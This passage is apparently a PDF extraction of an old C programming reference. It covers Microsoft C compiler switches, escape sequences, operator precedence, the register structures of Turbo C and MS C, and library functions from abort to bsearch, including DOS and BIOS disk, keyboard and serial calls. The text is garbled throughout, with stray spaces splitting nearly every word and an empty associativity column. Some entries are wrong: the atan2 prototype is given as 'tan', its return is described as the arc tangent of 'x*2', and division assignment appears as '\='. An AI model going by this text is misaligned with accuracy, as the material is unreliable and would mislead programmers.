/ AT Ti ny Memor y Model ; combi ned code and dat a l i mi t ed t o 64K
/ AS Smal l Memor y Model ; code and dat a l i mi t ed t o 64K each
/ AM Medi umMemor y Model ; dat a i s l i mi t ed t o 64K
/ AC Compact Memor y Model ; code i s l i mi t ed t o 64K
/ AL Lar ge Memor y Model ; unl i mi t ed code and dat a but ar r ays
ar e l i mi t ed t o 64K
/ AH Huge Memor y Model ; unl i mi t ed code, dat a and ar r ay si ze
/ Ast r i ng wher e st r i ng i s compose of t he f ol l owi ng:

% Code Poi nt er Cont r ol
s al l code poi nt er s ar e near
l al l code poi nt er s ar e f ar

% Dat a Poi nt er Cont r ol
n al l dat a poi nt er s ar e near
f al l dat a poi nt er ar e f ar
h al l dat a poi nt er s ar e huge

% Segment Set up Cont r ol
d st ack segment ( SS) def aul t s t o dat a segment ( DS)
u st ack segment ( SS) i s not equal t o dat a segment ( DS) ;
DS i s l oaded on f unct i on ent r y
w st ack segment ( SS) i s not equal t o dat a segment ( DS) ;
DS i s NOT l oaded on f unct i on ent r y

/ B1[ pat h] used t o i nvoke t he l ar ge ver si on of t he compi l er C1L. EXE;
nor mal l y used when t he compi l er r uns out of heap space
/ B2 i nvokes l ar ge compi l er ver si on pass 2
/ B3 i nvokes l ar ge compi l er ver si on pass 3
/ C pr eser ves f i l e comment s when pr epr ocessi ng a f i l e
Pagina 507 di 991
/ c do not l i nk, cr eat e . OBJ f i l e onl y
/ D<st r i ng> def i nes st r i ng as a pr epr ocessor const ant . I f st r i ng i s
of t he f or m" I D=xxx" t hen " I D" r epr esent s t he val ue " xxx"
I f no equal s si gn i s pr esent , " I D" has t he val ue 0. I f
an equal s si gn i s pr esent wi t hout a val ue, I D has t he
val ue 1.
/ E out put f r ompr epr ocessor i s wr i t t en t o st dout wi t h
i nt er sper sed #l i ne di r ect i ves.
/ EP out put f r ompr epr ocessor i s wr i t t en t o st dout wi t hout ,
addi ng #l i ne di r ect i ves.
/ F<si ze> set s st ack t o <si ze> byt es. Si ze must be hexadeci mal .
/ Fa[ f i l e] gener at e assembl y l i st i ng. Fi l ename def aul t s t o sour ce
f i l e wi t h . ASM ext ensi on.
/ Fb<f i l e> cr eat es bound execut abl e. Shoul d be used onl y wi t h / Lp.
/ Fc[ f i l e] gener at es combi ned assembl y/ sour ce l i st i ng. The f i l ename
def aul t s t o t he sour ce f i l e name wi t h t he . COD ext ensi on.
/ Fe<f i l e> cr eat es t he execut abl e wi t h speci f i ed name
/ Fl [ f i l e] gener at es obj ect code l i st i ng. Def aul t f i l e name i s t he
sour ce f i l e name wi t h a . COD ext ensi on.
/ Fm[ f i l e] gener at e a l i nk MAP f i l e. Def aul t f i l e name i s t he sour ce
f i l e name wi t h t he ext ensi on . MAP.
/ Fo<f i l e> gener at e and obj ect f i l e usi ng t he name <f i l e>.
/ FPa gener at es f l oat i ng poi nt cal l s and sel ect s t he al t er nat e
mat h l i br ar y.
/ FPc gener at es f l oat i ng poi nt cal l s and sel ect s t he emul at i on
l i br ar y.
/ FPc87 gener at es f l oat i ng poi nt cal l s and sel ect s t he 80x87
l i br ar y.
/ FPi gener at es i nl i ne 80x87 i nst r uct i ons and sel ect s t he 80x87
l i br ar y. Def aul t f l oat i ng poi nt opt i on.
/ FPi 87 gener at es f l oat i ng poi nt cal l s and sel ect s t he 80x87
l i br ar y.
/ Fr [ f i l e] gener at es a st andar d PWB Sour ce Br owser Dat abase. The
def aul t name i s t he sour ce f i l e wi t h t he . SBR ext ensi on.
/ FR[ f i l e] gener at es a st andar d PWB Sour ce Br owser Dat abase. The
def aul t name i s t he sour ce f i l e wi t h t he . SBR ext ensi on.
/ Fs gener at e a sour ce f i l e l i st i ng wi t h . LST ext ensi on.
/ Fx gener at e a cr oss r ef er ence l i st i ng wi t h . CRF ext ensi on.
/ G0 gener at e code usi ng 8088/ 8086 i nst r uct i on set
/ G1 gener at e code usi ng 80188/ 80186 i nst r uct i on set
/ G2 gener at e code usi ng 80286 i nst r uct i on set
/ Gc gener at e code usi ng FORTRAN/ PASCAL cal l i ng and nami ng
convent i ons
/ Gd gener at e code usi ng st andar d C cal l i ng and nami ng
convent i ons ( def aul t )
/ Ge gener at e code usi ng st ack checki ng r out i nes ( def aul t )
/ Gi i ncr ement al compi l e i f used wi t h / qc; onl y f unct i ons t hat
have changed ar e compi l ed; i mpl i es / Li opt i on
/ Gm st r i ngs ar e gener at ed i n t he CONST segment
/ Gr _f ast cal l f unct i ons ar e enabl ed. Par amet er s can be
passed vi a r egi st er s i nst ead of on t he st ack
/ Gs suppr ess gener at i on of st ack checki ng code
/ Gt [ num] pl aces dat a i t ems l ar ger t han " num" byt es i nt o di f f er ent
segment s. The def aul t val ue f or " numi s 256 byt es.
/ Gw gener at e Wi ndows f unct i ons ent r y/ exi t code
/ GW gener at es mor e ef f i ci ent Wi ndows f unct i ons ent r y/ exi t
code. Use / Gw f or cal l back r out i nes.
/ H<num> ext er nal name l engt h r est r i ct i on ( def aul t 31)
/ HELP cal l s Qui ckHel p ut i l i t y. / hel p i s al so val i d.
/ I <pat h> i nser t s <pat h> i n f r ont of cur r ent i ncl ude sear ch pat h
/ J al l char s shoul d be unsi gned ( def aul t i s si gned)
/ Lc l i nker i s t o gener at e compat i bi l i t y mode pr ogr ams.
/ Li [ num] i ncr ement al l i nk usi ng I LI NK i nst ead of LI NK. Resul t s
Pagina 508 di 991
i n l ar ger EXE si ze.
/ Lp l i nker i s t o gener at e pr ot ect ed mode execut abl e.
/ Lr l i nker i s t o cr eat e r eal mode execut abl e.
/ l i nk <i nf o> passes l i br ar y names i n <i nf o> t o LI NK
/ MA<opt > passes <opt > t o MASM i f . ASM f i l es f ound on command l i ne
/ MD cr eat es Dynami c Li nk Li br ar y f or OS/ 2; The same as:
/ ALw / FPi / G2 / DDLL / DMT. No l i br ar y sear ch r ecor d i s def i ned
/ ML l i nks t he C r un- t i me l i br ar y as par t of t he Dynami c Li nk
Li br ar y. The l i br ar y sear ch r ecor d i s set t o LLI BCDLL. LI B.

/ MT enabl e mul t i t hr ead pr ogr amsuppor t i n OS/ 2
/ ND<dseg> set dat a segment name t o <dseg>
/ NM<name> set modul e name t o <name>
/ nol ogo suppr ess si gn- on banner di spl ay
/ NT<name> set code segment name t o <name>
/ O[ opt s] wher e " opt s" i s a st r i ng cont ai ni ng t he f ol l owi ng:

a r el ax al i as checki ng
c enabl e bl ock l evel l ocal common expr essi ons
d di sabl e al l opt i mi zat i ons
e enabl e gl obal r egi st er opt i mi zat i on
g enabl e gl obal opt i mi zat i ons and gl obal common
expr essi ons
i enabl e gener at i on of i nt r i nsi c f unct i ons
l enabl e l oop opt i mi zat i on
n di sabl e unsaf e l oop opt i mi zat i on ( def aul t )
p i mpr ove consi st ency i n f l oat i ng- poi nt cal cul at i ons
r di sabl e i nl i ne r et ur ns f r omf unct i ons
s opt i mi ze f or si ze
t opt i mi ze f or speed ( def aul t )
w assume no al i asi ng except acr oss f unct i on cal l s
x maxi mi ze opt i mi zat i on ( / Ocegi l t / Gs)
z enabl e maxi muml oop and gl obal - r egi st er al l ocat i on
opt i mi zat i on

/ P pr epr ocess sour ce gener at i ng . I i nt er medi at e f i l e
/ qc qui ck compi l e opt i on. I ncompat i bl e wi t h t he f ol l owi ng
opt i ons: / Fa / Fc / Fl / FPa / FPc / FPc87 / Fs / Gm/ H / Ow / Zc
/ Sl <wi d> set l i st i ng f i l e l i ne wi dt h t o <wi d> ( 79- 132, def aul t 79)
/ Sp<l en> set page l engt h ( 15- 255, def aul t 63)
/ Ss<st i t l e> set sour ce l i st i ng subt i t l e
/ St <t i t l e> set sour ce l i st i ng t i t l e
/ Ta<f i l e> <f i l e> i s t o be t r eat ed as an assembl er sour ce f i l e
r egar dl ess of t he f i l e ext ensi on
/ Tc<f i l e> <f i l e> i s t o be t r eat ed as an C sour ce f i l e r egar dl ess
of t he f i l e ext ensi on
/ u undef i nes al l pr edef i ned i ndent i f i er s
/ U<i d> undef i nes <i d> pr edef i ned i ndent i f i er
/ V<ver > ver si on st r i ng <ver > i s copi ed t o t he . OBJ f i l e
/ w suppr ess compi l er war ni ngs ( same as / W0)
/ W0 suppr ess compi l er war ni ngs
/ W<n> war ni ng l evel ( 1. . 4) 1=f ewer , 4=mor e war ni ngs ( def aul t 1)
/ WX al l war ni ngs shoul d be t r eat ed as f at al
/ X i gnor e st andar d pl aces i n i ncl ude pat h sear ch
/ Za di sabl es Mi cr osof t l anguage ext ensi ons i nsur i ng ANSI
code compat i bi l i t y
/ Zc pascal f unct i ons ar e t o be case i nsensi t i ve
/ Zd gener at e l i ne number i nf or mat i on f or debugger s
/ Ze enabl e Mi cr osof t C l anguage ext ensi ons
/ Zg gener at e f unct i on pr ot ot ypes and di spl ay vi a st dout
wi t hout compi l i ng.
/ Zi gener at e symbol i c debuggi ng i nf or mat i on
/ Zl suppr ess l i br ar y sear ch r ecor d gener at i on
Pagina 509 di 991
/ Zp1 st r uct ur es ar e not t o be packed ( Tur bo C def aul t )
/ Zp2 pack st r uct ur e on wor d boundar i es
/ Zp4 pack st r uct ur e on dwor d boundar y
/ Zr gener at e code t o check nul l poi nt er s and out of r ange
f ar poi nt er s
/ Zs<f i l e> per f or msynt ax check onl y

% Envi r onment Var i abl es

CL def aul t i nput f i l es and command l i ne opt i ons
I NCLUDE pat hs t o sear ch f or i ncl ude f i l es ( separ at ed by " ; " )
LI B pat hs t o sear ch f or l i br ar y f i l es ( separ at ed by " ; " )
LI NK command l i ne opt i ons f or l i nk
TMP pat h wher e t empor ar y f i l es ar e cr eat ed
: C escape sequences
^C Escape Sequences

\ a Bel l
\ b Backspace
\ f For mf eed
\ n Li ne f eed
\ r Car r i age r et ur n
\ t Hor i zont al t ab
\ v Ver t i cal t ab
\ ' Si ngl e quot e
\ " Doubl e quot e
\ \ Backsl ash
\ 0 NULL char act er
\ 7 Bel l
\ ddd Oct al val ue
\ xddd Hexadeci mal val ue

: C oper at or s: oper at or pr ecedence
^C Oper at or s

% Oper at i on C Oper at or Associ at i vi t y

Ar r ay [ ] ( )
Funct i on ( ) ( )
Member - > ( )
Member . ( )

Unar y mi nus - ( )
Unar y pl us + ( )
Logi cal NOT ! ( )
Bi t wi se compl i ment ~~ ( )
Addr ess of & ( )
I ndi r ect i on * ( )
Si zeof si zeof ( )
I ncr ement ++ ( )
Decr ement - - ( )
Cast ( t ype) ( )

Mul t i pl i cat i on * ( )
Di vi si on / ( )
Modul us % ( )

Addi t i on + ( )
Subt r act i on - ( )

Shi f t r i ght >> ( )
Shi f t l ef t << ( )

Pagina 510 di 991
Gr eat er t han > ( )
Gr eat er or equal >= ( )
Less t han < ( )
Less or equal <= ( )

Equal == ( )
Not equal ! = ( )

Bi t wi se AND & ( )

Bi t wi se XOR ^ ( )

Bi t wi se OR | ( )

Logi cal AND && ( )

Logi cal OR | | ( )

Condi t i onal ?: ( )

Si mpl e assi gnment = ( )
Addi t i on assi gnment += ( )
Subt r act i on assi gnment - = ( )
Mul t i pl i cat i on assi gn *= ( )
Di vi si on assi gnment \ = ( )
Modul us assi gnment %= ( )
Lef t shi f t assi gnment <<= ( )
Ri ght shi f t assi gnment >>= ( )
Bi t wi se XOR assi gnment ^= ( )
Bi t wi se AND assi gnment &= ( )
Bi t wi se OR assi gnment | = ( )
Compl i ment assi gnment ~~= ( )

Sequence oper at or , ( )


- al l oper at i ons gr ouped t oget her have t he same pr ecedence
: r egs: byt er egs: wor dr egs: sr egs: r egpack
^Regi st er St r uct ur es f or Tur bo C and MS C

% Tur bo C MS C

% st r uct WORDREGS st r uct WORDREGS
{ {
unsi gned i nt ax; unsi gned i nt ax;
unsi gned i nt bx; unsi gned i nt bx;
unsi gned i nt cx; unsi gned i nt cx;
unsi gned i nt dx; unsi gned i nt dx;
unsi gned i nt si ; unsi gned i nt si ;
unsi gned i nt di ; unsi gned i nt di ;
unsi gned i nt cf l ag; unsi gned i nt cf l ag;
unsi gned i nt f l ags; };
};

% st r uct BYTEREGS
{
unsi gned char al ;
unsi gned char ah;
unsi gned char bl ;
unsi gned char bh; same as Tur bo C
unsi gned char cl ;
unsi gned char ch;
unsi gned char dl ;
Pagina 511 di 991
unsi gned char dh;
};

% uni on REGS
{
st r uct WORDREGS x; same as Tur bo C
st r uct BYTEREGS h;
};

% st r uct SREGS
{
unsi gned i nt es;
unsi gned i nt cs; same as Tur bo C
unsi gned i nt ss;
unsi gned i nt ds;
};

% st r uct REGPACK
{
unsi gned r _ax;
unsi gned r _bx;
unsi gned r _cx;
unsi gned r _dx;
unsi gned r _bp; Tur bo C onl y
unsi gned r _si ;
unsi gned r _di ;
unsi gned r _ds;
unsi gned r _es;
unsi gned r _f l ags;
};

: abor t
^voi d abor t ( voi d )


- pr ot ot ype i n st dl i b. h & pr ocess. h

- t er mi nat es a pr ocess & cal l s exi t ( 3)

: abs
^i nt abs( i nt n )


- pr ot ot ype i n st dl i b. h

- r et ur ns t he absol ut e val ue of i nt n

: absr ead
^TC: i nt absr ead( i nt dr i ve, i nt count , i nt st ar t , voi d *buf f er )


- pr ot ot ype i n dos. h

- r eads absol ut e l ogi cal di sk sect or s
- dr i ve = ( 0=A: , 1=B: , 2=C: , . . . )
- count = # of sect or s t o r ead
- st ar t = begi nni ng l ogi cal sect or number
- buf f er = addr ess of buf f er
- TC++ account s f or DOS 4. x+ l ong sect or val ues whi l e TC 2. 0 and
ear l i er do not ( see ~I NT 25~)
- r et ur ns 0 i f OK; - 1 on er r or ; er r no has DOS er r or number
: abswr i t e
^TC: i nt abswr i t e( i nt dr i ve, i nt sect or s, i nt st ar t , voi d *buf f er )
Pagina 512 di 991


- pr ot ot ype i n dos. h

- wr i t es absol ut e l ogi cal di sk sect or s
- dr i ve = ( 0=A: , 1=B: , 2=C: , . . . )
- sect or s = # of sect or s t o wr i t e
- st ar t = begi nni ng l ogi cal sect or number
- buf f er = addr ess of buf f er
- TC++ account s f or DOS 4. x+ l ong sect or val ues whi l e TC 2. 0 and
ear l i er do not ( see ~I NT 25~)
- r et ur ns 0 i f OK; - 1 on er r or ; er r no has DOS er r or number
: access
^i nt access( const char *f i l ename, i nt amode )


- pr ot ot ype i n i o. h

- checks f i l ename f or exi st ence & R/ Waccess

- amode = 06 - - check f or R/ Wper mi ssi on
04 - - check f or R
02 - - check f or W
01 - - execut e ( i gnor ed)
00 - - check i f f i l ename exi st s

- f i l ename can be di r ect or y
- r et ur ns 0 i f OK
- 1 on er r or
er r no = ENOENT i f pat h or f i l ename not f ound
er r no = EACCES i f per mi ssi on deni ed

: acos
^doubl e acos( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns ar c cosi ne of x
- val ues must be i n r ange - 1 t o 1

: al l oca
^MSC: voi d *al l oca( si ze_t si ze )


- pr ot ot ype i n mal l oc. h

- al l ocat es si ze byt es f or t he appl i cat i on st ack
- memor y i s aut omat i cal l y f r eed upon exi t i ng t he cal l i ng f unct i on
- t hi s f unct i on cannot be used as a par amet er t o anot her f unct i on
or st ack cor r upt i on wi l l occur
- t he poi nt er r et ur ned CANNOT be passed as an ar gument t o f r ee( )
si nce i t i sn' t al l ocat ed f r omDOS
- see ~st ackavai l ~
: al l ocmem
^TC: i nt al l ocmem( unsi gned si ze, unsi gned *seg )


- pr ot ot ype i n dos. h

- al l ocat es memor y i n si ze par agr aphs, wher e seg i s poi nt er t o
a wor d cont ai ni ng segment addr ess
- r et ur ns - 1 i f ok, el se l ar gest avai l abl e memor y i n par agr aphs
Pagina 513 di 991
- MS C uses _dos_al l ocmem
- see ~I NT 21, 48~
: asct i me
^char *asct i me( const st r uct t m*t m)


- pr ot ot ype i n t i me. h

- conver t s t i me i n st r uct t mt o 26- char act er ASCI I st r i ng
- r et ur ns a poi nt er t o t he ASCI I st r i ng

: asi n
^doubl e asi n( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns ar c si ne of x
- val ues must be i n r ange - 1 t o 1

: asser t
^voi d asser t ( i nt t est )


- pr ot ot ype i n asser t . h

- i f t est f ai l s, pr i nt s er r or message & abor t s pr ogr am
- t est can be a condi t i on

: at an
^doubl e at an( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns ar c t angent of x

: at an2
^doubl e t an( doubl e y, doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns ar c t angent of x*2
- used i nst ead of at an when t he r esul t i ng angl e i s near
pi / 2 or - pi / 2

: at exi t
^i nt at exi t ( voi d f unc )


- pr ot ot ype i n st dl i b. h

- f unc i s def i ned as voi d ( *f unc) ( voi d)
- cal l s f unc( ) bef or e exi t i ng t o DOS
- up t o 32 f unct i ons can be cal l ed ( i f 32 at exi t cal l s r egi st er ed)
- shoul d be l ocat ed i n mai n & execut ed bef or e anyt hi ng el se
- r et ur ns 0 i f OK, el se nonzer o i f no space t o r egi st er f unct i on

: at of
^doubl e at of ( const char *s )


Pagina 514 di 991
- pr ot ot ype i n mat h. h & st dl i b. h

- conver t s ASCI I st r i ng t o doubl e val ue

: at oi
^i nt at oi ( const char *s )


- pr ot ot ype i n st dl i b. h

- conver t s ASCI I st r i ng t o i nt eger val ue

: at ol
^l ong at ol ( const char *s )


- pr ot ot ype i n st dl i b. h

- conver t s ASCI I st r i ng t o l ong val ue

: bdos
^i nt bdos( i nt dosf un, unsi gned dosdx, unsi gned dosal )


- pr ot ot ype i n dos. h

- make DOS syst emcal l f or f unct i on dosf un, passi ng DX and AL
val ues vi a dosdx and dosal
- use onl y i n smal l memor y model
- uni que t o DOS
- r et ur ns val ue of AX set by syst emcal l

: bdospt r
^TC: i nt bdospt r ( i nt dosf un, voi d *ar gument , unsi gned dosal )


- pr ot ot ype i n dos. h

- make DOS syst emcal l f or f unct i on dosf un, passi ng POI NTER
t o val ues vi a ar gument and passi ng AL vi a dosal
- use f or smal l or l ar ge memor y model s
- r et ur ns val ue of AX set by syst emcal l , el se - 1 on f ai l ur e
( wher e er r no & _doser r no ar e t hen set )

: _bf r ee: _f f r ee: _nf r ee
% MSC: voi d _bf r ee( _segment seg, voi d _based( voi d) *bl ock )
% MSC: voi d _f f r ee( voi d f ar *bl ock )
% MSC: voi d _nf r ee( voi d near *bl ock )


- pr ot ot ype i n mal l oc. h

- bl ock = pr evi ousl y al l ocat ed buf f er
- i n l ar ge dat a memor y model s f r ee( ) maps t o _f f r ee( )
- i n smal l dat a memor y model s f r ee( ) maps t o _nf r ee( )
- NULL poi nt er par amet er i s i gnor ed

: _bi os_di sk
^MSC: unsi gned _bi os_di sk( unsi gned cmd, st r uct di ski nf o_t *dski nf o)


- pr ot ot ype i n bi os. h

Pagina 515 di 991
- cmd = _DI SK_RESET r eset s di sk syst em ( I NT 13, 0)
= _DI SK_STATUS r et ur n di sk st at us ( I NT 13, 1)
= _DI SK_READ r ead di sk sect or s ( I NT 13, 2)
= _DI SK_WRI TE wr i t e di sk sect or s ( I NT 13, 3)
= _DI SK_VERI FY ver i f y di sk sect or s ( I NT 13, 4)
= _DI SK_FORMAT f or mat di sk t r ack ( I NT 13, 5)

- dski nf o = poi nt er t o st r uct ur e cont ai ni ng di sk i nf or mat i on:

st r uct di ski nf o_t
{
unsi gned dr i ve; - physi cal dr i ve number
unsi gned head; - head number
unsi gned t r ack; - t r ack number
unsi gned sect or ; - sect or number
unsi gned nsect or s; - sect or s t o deal wi t h
voi d _f ar *buf f er ; - dat a buf f er
};

- r et ur ns st at us of oper at i on ( AX r egi st er , AH cont ai ns st at us)
- dr i ve number s r epr esent physi cal dr i ves ( 0 = A: , 1 = B: ,
80h = dr i ve 0, 81h = dr i ve 1
- di sk r eads shoul d be r et r i ed at l east 3 t i mes
- Tur bo C uses ~bi osdi sk~( )

- see ~I NT 13~
: _bi os_equi pl i st
^MSC: unsi gned _bi os_equi pl i st ( voi d )


- pr ot ot ype i n bi os. h

- r et ur ns f l ags f ound i n BI OS dat a ar ea at 40: 10 & 40: 11
- Tur bo C uses ~bi osequi p~( )
- see ~I NT 11~
: _bi os_keybr d
^MSC: i nt _bi os_keybr d( i nt cmd )


- pr ot ot ype i n bi os. h

- cmd = _KEYBRD_READ r et ur n next keyst r oke w/ o echo ( I NT 16, 0)
= _KEYBRD_READY t est i f key avai l ; 0=none ( I NT 16, 1)
= _KEYBRD_SHI FTSTATUS r et ur n shi f t key st at us ( I NT 16, 2)
= _NKEYBRD_READ r et ur n next keyst r oke w/ o echo ( I NT 16, 10)
= _NKEYBRD_READY t est i f key avai l ; 0=none ( I NT 16, 11)
= _NKEYBRD_SHI FTSTATUS r et ur n shi f t key st at us ( I NT 16, 12)

- AND r et ur ned val ue wi t h 0x00FF t o get ASCI I val ue
- _NKEYBRD_READ, _NKEYBRD_READY, _NKEYBRD_SHI FTSTATUS ar e avai l abl e
on AT and newer machi nes onl y
- Tur bo C uses ~bi oskey~( )
- see ~I NT 16~
: _bi os_memsi ze
^MSC: unsi gned _bi os_memsi ze( voi d )


- pr ot ot ype i n bi os. h

- r et ur ns memor y si ze i n 1K bl ocks ( 16. . 640K)
- Tur bo C uses ~bi osmemor y~( )
- see ~I NT 12~
: _bi os_pr i nt er
Pagina 516 di 991
% unsi gned _bi os_pr i nt er ( unsi gned cmd, unsi gned por t , unsi gned dat a)


- pr ot ot ype i n bi os. h

- cmd = _PRI NTER_WRI TE pr i nt char act er ( I NT 17, 0)
= _PRI NTER_I NI T i ni t i al i ze pr i nt er por t ( I NT 17, 1)
= _PRI NTER_STATUS r ead por t st at us ( I NT 17, 2)
- por t = pr i nt er por t ; 0=LPT1, 1=LPT2
- dat a = val ue t o wr i t e

- r et ur ns st at us of pr i nt er ( I NT 17, AX r eg, AH cont ai ns st at us)
- Tur bo C uses ~bi ospr i nt ~( )
- see ~I NT 17~
: _bi os_ser i al com
^MSC: unsi gned _bi os_ser i al com( unsi gned cmd, unsi gned por t , unsi gned f mt )

- pr ot ot ype i n bi os. h

- cmd = _COM_I NI T i ni t i al i ze por t ( I NT 14, 0)
= _COM_SEND send char act er ( I NT 14, 1)
= _COM_RECEI VE r ead char act er f r ompor t ( I NT 14, 2)
= _COM_STATUS get ser i al por t st at us ( I NT 14, 3)

- f mt = combi nat i on of t he f ol l owi ng:
_COM_CHR7 _COM_CHR8
_COM_STOP1 _COM_STOP2

_COM_NOPARI TY _COM_EVENPARI TY _COM_ODDPARI TY

_COM_110 _COM_150 _COM_300
_COM_600 _COM_1200 _COM_2400
_COM_4800 _COM_9600

- r et ur ns st at us wor d ( I NT 14, AX r eg, modemst at us i n AL,
por t st at us i n AH)
- Tur bo C uses ~bi oscomm~( )
- see ~I NT 14~
: _bi os_t i meof day
^MSC: unsi gned _bi os_t i meof day( unsi gned cmd, l ong *t i meval )


- pr ot ot ype i n bi os. h

- cmd = _TI ME_GETCLOCK get r eal t i me cl ock ( I NT 1A, 0)
= _TI ME_SETCLOCK set r eal t i me cl ock ( I NT 1A, 1)

- r et ur ns cur r ent BI OS cl ock count
- Tur bo C uses ~bi ost i me~( )
- see ~I NT 1A~
: bi oscom
^TC: i nt bi oscom( i nt cmd, char byt e, i nt por t )

- pr ot ot ype i n bi os. h

- RS232 communi cat i ons

- cmd = 0 t o set commpar ms t o val ue i n byt e
1 t o send char i n byt e out on RS232 l i ne
2 t o r ecei ve char
3 t o r et ur n cur r ent por t st at us

- por t = 0 f or COM1
Pagina 517 di 991
1 f or COM2
2 f or COM3
3 f or COM4

- byt e = bi t wi se OR of f ol l owi ng bi t s
0x02 = 7 dat a bi t s 0x00 = 1 st op bi t
0x03 = 8 dat a bi t s 0x04 = 2 st op bi t s
0x00 == no par i t y;
0x08 == odd par i t y;
0x18 == even par i t y

0x00 110 bps 0x20 150 bps
0x40 300 bps 0x60 600 bps
0x80 1200 bps 0xa0 2400 bps
0xc0 4800 bps 0xe0 9600 bps

- r et ur ns 16- bi t i nt eger , upper 8 bi t s ar e st at us & l ower 8 bi t s
dependi ng on cmd sent


7 6 5 4 3 2 1 0 l ow byt e ( AL) modemst at us
del t a cl ear t o send
del t a dat a set r eady
t r ai l i ng edge r i ng det ect or
del t a r ecei ve l i ne si gnal det ect
cl ear t o send
dat a set r eady
r i ng i ndi cat or
r ecei ve l i ne si gnal det ect

F E D C B A 9 8 hi gh byt e ( AH) l i ne st at us
dat a r eady
over r un er r or
par i t y er r or
f r ami ng er r or
br eak det ect
t r ansmi t hol di ng r egi st er empt y
t r ansmi t shi f t r egi st er empt y
t i me out

- MS C uses ~_bi os_ser i al comm~( )
- see ~I NT 14~

: bi osdi sk
% TC: i nt bi osdi sk( i nt cmd, i nt dr i ve, i nt head, i nt t r ack,
% i nt sect or , i nt nsect s, voi d *buf f er )

- pr ot ot ype i n bi os. h

- i ssues i nt er r upt 0x13 f or BI OS di sk oper at i ons
- dr i ve = ( 0=A: , 1=2nd f l oppy, 0x80=dr i ve 0, 0x81=dr i ve 1
- cmd = 0 r eset di sket t e syst em( har d di sk dr i ve r eset )
1 r et ur n st at us of l ast di sk oper at i on, i gnor e par ms
2 r ead nsect s di sk sect or s, wi t h st ar t i ng sect or
def i ned by head, t r ack, & sect or , r eadi ng 512 byt es
per sect or i nt o buf f er
3 wr i t e nsect s di sk sect or s, wi t h st ar t i ng sect or
def i ned by head, t r ack, & sect or , wr i t i ng 512 byt es
per sect or f r ombuf f er
4 ver i f y nsect s di sk sect or s, wi t h st ar t i ng sect or
def i ned by head, t r ack, & sect or
5 f or mat a t r ack def i ned by head & t r ack, wher e buf f er
poi nt s t o a t abl e of sect or header s t o be wr i t t en
Pagina 518 di 991

For XT or AT onl y:

6 - f or mat s a t r ack & set s bad sect or f l ags
7 - f or mat s dr i ve begi nni ng at speci f i c t r ack
8 - r et ur ns cur r ent dr i ve par ms i n 1r st 4 byt es of buf f er
9 - i ni t i al i zes dr i ve- pai r char act er i st i cs
10 - l ong r ead ( 4 ext r a byt es per sect or f or ECC)
11 - l ong wr i t e ( 4 ext r a byt es per sect or f or ECC)
12 - di sk seek
13 - al t er nat e di sk r eset
14 - r eads sect or buf f er
15 - wr i t es sect or buf f er
16 - t est s i f named dr i ve i s r eady
17 - r ecal i br at es dr i ve
18 - cont r ol l er r amdi agnost i c
19 - dr i ve di agnost i c
20 - cont r ol l er i nt er nal di agnost i c

- dr i ve number s r epr esent physi cal dr i ves ( 0 = A: , 1 = B: ,
80h = dr i ve 0, 81h = dr i ve 1
- di sk r eads shoul d be r et r i ed at l east 3 t i mes
- MS C uses ~_bi os_di sk~( )
- see ~I NT 13~ f or mor e r et ur n codes and mor e i nf or mat i on
: bi osequi p
^TC: i nt bi osequi p( voi d )


- pr ot ot ype i n bi os. h

- r et ur ns i nt eger showi ng equi pment i n syst em
- MS C uses ~_bi os_equi pl i st ~( )
- see ~I NT 11~ or ~EQUI PMENT FLAGS~ f or bi t meani ngs
: bi oskey
^TC: i nt bi oskey( i nt cmd )


- pr ot ot ype i n bi os. h

- keyboar d oper at i ons
- cmd = 0 r et ur n next keyst r oke w/ o echo ( I NT 16, 0)
= 1 t est i f key wai t i ng; 0=none ( I NT 16, 1)
= 2 r et ur n shi f t key st at us ( see I NT 16, 2)


- AND r et ur ned val ue wi t h 0x00FF t o get ASCI I val ue
- Ct r l - Br eak causes " whi l e ( ! bi oskey( 1) ) " t o l oop i nf i ni t el y i n
Tur bo C 2. 0 and ear l i er si nce i t pl aces a zer o i n t he keyboar d queue
- MS C uses ~_bi os_keybr d~( )
- see ~I NT 16~
: bi osmemor y
^TC: i nt bi osmemor y( voi d )


- pr ot ot ype i n bi os. h

- r et ur ns BI OS si ze memor y i n 1K bl ocks
- MS C uses ~_bi os_memsi ze~( )
- see ~I NT 12~
: bi ospr i nt
^TC: i nt bi ospr i nt ( i nt cmd, i nt byt e, i nt por t )

- pr ot ot ype i n bi os. h
Pagina 519 di 991

- out put s byt e t o por t
- por t = 0 ( LPT1)
1 ( LPT2) , et c. . .
- cmd = 0 ( pr i nt byt e) ;
1 ( i ni t pr i nt er por t ) ;
2 ( get LPT st at us)

- r et ur ns st at us of ( val ues ar e or ' d f l ags) :
0x01 t i me out ( cmd=0 means out put er r or )
0x08 I / O er r or
0x10 sel ect ed
0x20 out of paper
0x40 acknowl edge
0x80 not busy

- MS C uses ~_bi os_pr i nt er ~( )
- see ~I NT 17~
: bi ost i me
^TC: i nt bi ost i me( i nt cmd, l ong newt i me )


- pr ot ot ype i n bi os. h

- r eads or set s BI OS t i mer
- cmd = 0 r et ur ns cur r ent val ue of t i mer
1 set s t i mer t o val ue of newt i me
- MS C uses ~_bi os_t i meof day~( )

: _bmal l oc: _f mal l oc: _nmal l oc
% MSC: voi d _based( voi d) *_bmal l oc( _segment seg, si ze_t si ze )
% MSC: voi d f ar *_f mal l oc( si ze_t si ze )
% MSC: voi d near *_nmal l oc( si ze_t si ze )


- pr ot ot ype i n mal l oc. h

- si ze = number of byt es t o al l ocat e
- seg = base segment val ue
- mal l oc( ) maps t o _f mal l oc or _nmal l oc based on memor y model
- _f mal l oc al l ocat es memor y out si de t he def aul t dat a segment i f
possi bl e
- r et ur ns poi nt er t o al l ocat ed bl ock or NULL on er r or ; _bmal l oc( )
f unct i on r et ur ns _NULLOFF on er r or
- t hese f unct i ons wi l l al l ocat e a zer o l engt h bl ock

: br k
^i nt br k( voi d *endds )


- pr ot ot ype i n al l oc. h ( mal l oc. h f or MS C)

- dynami cal l y changes t he amount of space al l ocat ed t o t he cal l i ng
pr ogr ams dat a segment . Amount of al l ocat ed space i ncr eases as
t he br eak val ue i ncr eases.
- r et ur ns 0 i f OK
- 1 wi t h er r no set t o ENOMEM

: bsear ch
% voi d *bsear ch( voi d *key, voi d *base, i nt nel em, i nt wi dt h,
% i nt ( *f cmp ) ( ) )

- pr ot ot ype i n st dl i b. h
Pagina 520 di 991

